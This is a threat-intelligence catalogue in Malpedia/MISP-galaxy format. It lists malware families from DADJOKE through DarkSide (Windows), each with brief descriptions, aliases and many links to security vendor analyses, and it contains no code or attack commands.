https://blog.netlab.360.com/dacls-the-dual-platform-rat/

DADJOKE

DADJOKE was discovered as being distributed via email, targeting a South-East Asian Ministry of Defense. It is delivered as an embedded EXE file in a Word document using remote templates and a unique macro using multiple GET requests. The payload is deployed using load-order hijacking with a benign Windows Defender executable. Stage 1 has only beacon+download functionality, made to look like a PNG file. Additional analysis by Kaspersky found 8 campaigns over 2019 and no activity prior to January 2019, DADJOKE is attributed with medium confidence to APT40.

The tag is: *misp-galaxy:malpedia="DADJOKE"*

DADJOKE is also known as:

Table 3616. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke
https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/
https://wemp.app/posts/80ab2b2d-4e0e-4960-94b7-4d452a06fd38?utm_source=latest-posts
https://twitter.com/ClearskySec/status/1110941178231484417
https://medium.com/@Sebdraven/apt-40-in-malaysia-61ed9c9642e9
https://twitter.com/a_tweeter_user/status/1154764787823316993
https://www.youtube.com/watch?v=vx9IB88wXSE

DADSTACHE

The tag is: *misp-galaxy:malpedia="DADSTACHE"*

DADSTACHE is also known as:

Table 3617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache
https://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html
https://twitter.com/killamjr/status/1204584085395517440
https://medium.com/insomniacs/dad-theres-a-rat-in-here-e3729b65bf7a

https://medium.com/insomniacs/apt40-goes-from-template-injections-to-ole-linkings-for-payload-delivery-99eb43170a97
https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign
https://twitter.com/cyb3rops/status/1199978327697694720

Dairy

The tag is: *misp-galaxy:malpedia="Dairy"*

Dairy is also known as:

Table 3618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

DanaBot

Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

The tag is: *misp-galaxy:malpedia="DanaBot"*

DanaBot is also known as:

- DanaTools

Table 3619. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot
https://blog.lexfo.fr/danabot-malware.html
https://flashpoint.io/blog/danabot-version-3-what-you-need-to-know/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.mandiant.com/resources/blog/detecting-disrupting-malvertising-backdoors
https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot
https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/

https://www.bitdefender.com/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack/

https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/

https://security-soup.net/decoding-a-danabot-downloader/

https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1

https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf

https://securelist.com/tusk-infostealers-campaign/113367/

https://cloud.google.com/blog/topics/threat-intelligence/detecting-disrupting-malvertising-backdoors/

https://asert.arbornetworks.com/danabots-travels-a-global-perspective/

https://blogs.blackberry.com/en/2021/11/threat-thursday-danabot-malware-as-a-service

https://www.welivesecurity.com/en/eset-research/danabot-analyzing-fallen-empire/

https://www.esentire.com/blog/danabots-latest-move-deploying-icedid

https://malwareandstuff.com/deobfuscating-danabots-api-hashing/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor

https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0

https://flashpoint.io/blog/operation-endgame-danabot-malware/

https://x.com/MsftSecIntel/status/1730383711437283757

https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf

https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html

https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/

https://securelist.com/financial-cyberthreats-in-2020/101638/

https://assets.virustotal.com/reports/2021trends.pdf

https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/

https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github

https://research.checkpoint.com/danabot-demands-a-ransom-payment/

https://www.zscaler.com/blogs/security-research/danableed-danabot-c2-server-memory-leak-bug

https://krebsonsecurity.com/2025/05/oops-danabot-malware-devs-infected-their-own-pcs/

https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/f0wlsec/status/1459892481760411649
https://asec.ahnlab.com/en/30445/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed
https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense
https://twitter.com/MsftSecIntel/status/1730383711437283757
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.youtube.com/watch?v=04RsqP_P9Ss
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques
https://www.esentire.com/blog/from-darkgate-to-danabot
https://www.mandiant.com/resources/supply-chain-node-js
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/
https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity
https://www.team-cymru.com/post/inside-danabots-infrastructure-in-support-of-operation-endgame-ii

danbot

Danbot is a backdoor malware that is originally written in C#. Recent versions of Danbot are written in C++. Danbot is capable of giving a remote attacker remote access features such as running a cmd command, upload and download files, move and copy files. The backdoor commands are transmitted by either using HTTP or DNS protocols. The commands are encapsulated in an XML file that gets stored in disk. Danbot's backdoor component picks up the XML file where it decodes and decrypts the commands.

The tag is: *misp-galaxy:malpedia="danbot"*

danbot is also known as:

Table 3620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot
https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f
https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-lyceum
https://www.youtube.com/watch?v=FttiysUZmDw
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf
https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf
https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/

DanderSpritz

The tag is: *misp-galaxy:malpedia="DanderSpritz"*

DanderSpritz is also known as:

- Dsz

Table 3621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.danderspritz
https://github.com/francisck/DanderSpritz_docs/
https://mp.weixin.qq.com/s/XPjT0BVOJPJxSmASW0tXTA
https://www.offensiveosint.io/inside-of-danderspritz-post-exploitation-modules/

Dante

According to Kaspersky Labs, Dante is the commercial spyware developed by Memento Labs (formerly Hacking Team).

The tag is: *misp-galaxy:malpedia="Dante"*

Dante is also known as:

Table 3622. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dante

https://securelist.com/forumtroll-apt-hacking-team-dante-spyware/117851/

Daolpu

The tag is: *misp-galaxy:malpedia="Daolpu"*

Daolpu is also known as:

Table 3623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.daolpu
https://www.loginsoft.com/post/blue-screen-mayhem-when-crowdstrikes-glitch-became-threat-actors-playground
https://tehtris.com/en/blog/daolpu-infostealer-full-analysis-of-the-latest-malware-exploited-post-crowdstrike-outage/

DarkBit

The tag is: *misp-galaxy:malpedia="DarkBit"*

DarkBit is also known as:

Table 3624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit
https://twitter.com/luc4m/status/1626535098039271425
https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware-Windows-DarkBit/README.md
https://labs.k7computing.com/index.php/muddywater-back-with-darkbit/
https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/
https://blogs.blackberry.com/en/2023/02/darkbit-ransomware-targets-israel

DarkCloud Stealer

Stealer is written in Visual Basic.

The tag is: *misp-galaxy:malpedia="DarkCloud Stealer"*

DarkCloud Stealer is also known as:

Table 3625. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud
https://asec.ahnlab.com/en/53128/
https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/
https://rexorvc0.com/2025/03/31/DarkCloud/

DarkComet

DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.

The tag is: *misp-galaxy:malpedia="DarkComet"*

DarkComet is also known as:

- Breut
- Fynloski
- klovbot

Table 3626. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet
https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html
https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services
https://any.run/cybersecurity-blog/darkcomet-rat-technical-analysis/
https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet
https://www.secureworks.com/research/threat-profiles/copper-fieldstone

https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html
https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf
https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/
https://asec.ahnlab.com/wp-content/uploads/2021/11/Lazarus-%EA%B7%B8%EB%A3%B9%EC%9D%98-NukeSped-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C.pdf
https://content.fireeye.com/apt/rpt-apt38
https://www.tgsoft.it/files/report/download.asp?id=7481257469
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga
https://brandefense.io/blog/apt-groups/mythic-leopard-apt-group/

DARKDEW

Mandiant associates this with UNC4191, this malware spreads to removable drives.

The tag is: *misp-galaxy:malpedia="DARKDEW"*

DARKDEW is also known as:

Table 3627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew
https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia
https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/

DarkEye

The tag is: *misp-galaxy:malpedia="DarkEye"*

DarkEye is also known as:

Table 3628. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkeye
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed

DarkGate

First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.

The tag is: *misp-galaxy:malpedia="DarkGate"*

DarkGate is also known as:

- Meh
- MehCrypter

Table 3629. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate
https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/
https://infosec.exchange/@spamhaus/113402246487904714
https://medium.com/@sapirtwig/inside-darkgate-in-depth-technical-analysis-of-the-malware-as-a-service-threat-76f32d51e2d2
https://blog.talosintelligence.com/darkgate-remote-template-injection/
https://www.mandiant.com/resources/blog/detecting-disrupting-malvertising-backdoors
https://dshield.org/diary/Guest+Diary+Dissecting+DarkGate+Modular+Malware+Delivery+and+Persistence+as+a+Service/30700/
https://decoded.avast.io/janrubin/complex-obfuscation-meh/
https://www.aon.com/cyber-solutions/aon_cyber_labs/darkgate-keylogger-analysis-masterofnone/
https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html
https://cybersecurity.att.com/blogs/security-essentials/darkgate-malware-delivered-via-microsoft-teams-detection-and-response
https://cloud.google.com/blog/topics/threat-intelligence/detecting-disrupting-malvertising-backdoors/
https://decoded.avast.io/janrubin/meh-2-2/
https://embee-research.ghost.io/decoding-a-simple-visual-basic-vbs-script-darkgate-loader/
https://embee-research.ghost.io/practical-signatures-for-identifying-malware-with-yara/
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs
https://x.com/embee_research/status/1736758775326146778

https://github.com/prodaft/malware-ioc/blob/master/PTI-66/DarkGate.md

https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/

https://www.proofpoint.com/us/blog/threat-insight/battleroyal-darkgate-cluster-spreads-email-and-fake-browser-updates

https://medium.com/s2wblog/detailed-analysis-of-darkgate-investigating-new-top-trend-backdoor-malware-0545ecf5f606

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://cofense.com/blog/are-darkgate-and-pikabot-the-new-qakbot/

https://www.trendmicro.com/en_us/research/24/c/cve-2024-21412—darkgate-operators-exploit-microsoft-windows-sma.html

https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/

https://www.netskope.com/jp/blog/new-darkgate-variant-uses-a-new-loading-approach

https://embeeresearch.io/decoding-a-simple-visual-basic-vbs-script-darkgate-loader/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clickfix-deception-a-social-engineering-tactic-to-deploy-malware/

https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn

https://www.orangecyberdefense.com/de/blog/threat/cybersoc-insights-analyse-einer-black-basta-angriffskampagne

https://blog.sekoia.io/darkgate-internals/

https://securelist.com/emotet-darkgate-lokibot-crimeware-report/110286/

https://www.trendmicro.com/en_us/research/23/j/darkgate-opens-organizations-for-attack-via-skype-teams.html

https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign

https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/

https://www.vmray.com/cyber-security-blog/darkgate-from-autoit-to-shellcode-execution/

https://www.trendmicro.com/en_us/research/24/l/darkgate-malware.html

https://www.esentire.com/blog/from-darkgate-to-danabot

https://medium.com/@DCSO_CyTec/shortandmalicious-darkgate-d9102a457232

https://www.kroll.com/en/insights/publications/cyber/brute-forcing-darkgate-encodings

https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape

https://www.trellix.com/about/newsroom/stories/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/

https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams

https://github.security.telekom.com/2023/08/darkgate-loader.html

https://www.logpoint.com/en/blog/inside-darkgate/
https://github.com/telekom-security/malware_analysis/blob/main/darkgate/extractor.py

DarkIRC

The tag is: *misp-galaxy:malpedia="DarkIRC"*

DarkIRC is also known as:

Table 3630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkirc
https://blogs.juniper.net/en-us/threat-research/darkirc-bot-exploits-oracle-weblogic-vulnerability

DarkLoader

The tag is: *misp-galaxy:malpedia="DarkLoader"*

DarkLoader is also known as:

Table 3631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader
https://twitter.com/3xp0rtblog/status/1459081435361517585

DarkMe

The tag is: *misp-galaxy:malpedia="DarkMe"*

DarkMe is also known as:

Table 3632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme
https://www.trendmicro.com/en_us/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html
http://blog.nsfocus.net/darkcasino-apt-evilnum/

DarkMegi

The tag is: *misp-galaxy:malpedia="DarkMegi"*

DarkMegi is also known as:

Table 3633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi
http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html
http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html

Darkmoon

The tag is: *misp-galaxy:malpedia="Darkmoon"*

Darkmoon is also known as:

- Chymine

Table 3634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon
https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml
http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html
http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html

DarkPulsar

The tag is: *misp-galaxy:malpedia="DarkPulsar"*

DarkPulsar is also known as:

Table 3635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/

DarkRat

The tag is: *misp-galaxy:malpedia="DarkRat"*

DarkRat is also known as:

Table 3636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat
https://fr3d.hk/blog/darkrat-hacking-a-malware-control-panel

https://github.com/albertzsigovits/malware-writeups/blob/master/DarkRATv2/README.md

DarkShell

DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.

The tag is: *misp-galaxy:malpedia="DarkShell"*

DarkShell is also known as:

Table 3637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkshell-ddos-botnet-evolves-with-variants/
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf

DarkSide (Windows)

FireEye describes DARKSIDE as a ransomware written in C and configurable to target files whether on fixed, removable disks, or network shares. The malware can be customized by the affiliates to create a build for specific victims.

The tag is: *misp-galaxy:malpedia="DarkSide (Windows)"*

DarkSide (Windows) is also known as:

- BlackMatter

Table 3638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside
https://us-cert.cisa.gov/ncas/alerts/aa21-131a
https://www.acronis.com/en-us/articles/darkside-ransomware/
https://zawadidone.nl/darkside-ransomware-analysis/
https://www.mandiant.com/resources/burrowing-your-way-into-vpns
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/
https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/

https://community.riskiq.com/article/fdf74f23

https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/

https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html

https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/

https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/

https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf

https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/

https://www.youtube.com/watch?v=qxPXxWMI2i4

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://threatpost.com/guess-fashion-data-loss-ransomware/167754/

https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/

https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections

https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b

https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/

https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime

https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html

https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/

http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/

https://therecord.media/popular-hacking-forum-bans-ransomware-ads/

https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin

https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.glimps.fr/lockbit3-0/

https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a

https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html

https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions

https://www.youtube.com/watch?v=NIiEcOryLpI

https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf

https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks

https://blog.group-ib.com/blackmatter#

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims

https://www.secureworks.com/research/threat-profiles/gold-waterfall

https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/

https://twitter.com/embee_research/status/1678631524374020098?s=46

https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/

https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/

https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/

https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html

https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/

https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968

https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/

https://blog.group-ib.com/blackmatter2

https://twitter.com/ValthekOn/status/1422385890467491841?s=20

https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/

https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/

https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/

https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html

https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/

https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted

https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/

https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/

https://twitter.com/GelosSnake/status/1451465959894667275

https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/

https://www.varonis.com/blog/darkside-ransomware/

https://github.com/sisoma2/malware_analysis/tree/master/blackmatter

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/

https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service

https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/

https://www.ic3.gov/Media/News/2021/211101.pdf

https://asec.ahnlab.com/en/34549/

https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/

https://unit42.paloaltonetworks.com/darkside-ransomware/

https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside

https://www.secjuice.com/blue-team-detection-darkside-ransomware/

https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://cloud.google.com/blog/topics/threat-intelligence/darkside-affiliate-supply-chain-software-compromise

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://twitter.com/sysopfb/status/1422280887274639375

https://brandefense.io/darkside-ransomware-analysis-report/

https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/

https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html

https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html

https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/

https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html

https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/

https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/
https://twitter.com/JAMESWT_MHT/status/1388301138437578757
https://www.databreaches.net/a-chat-with-darkside/
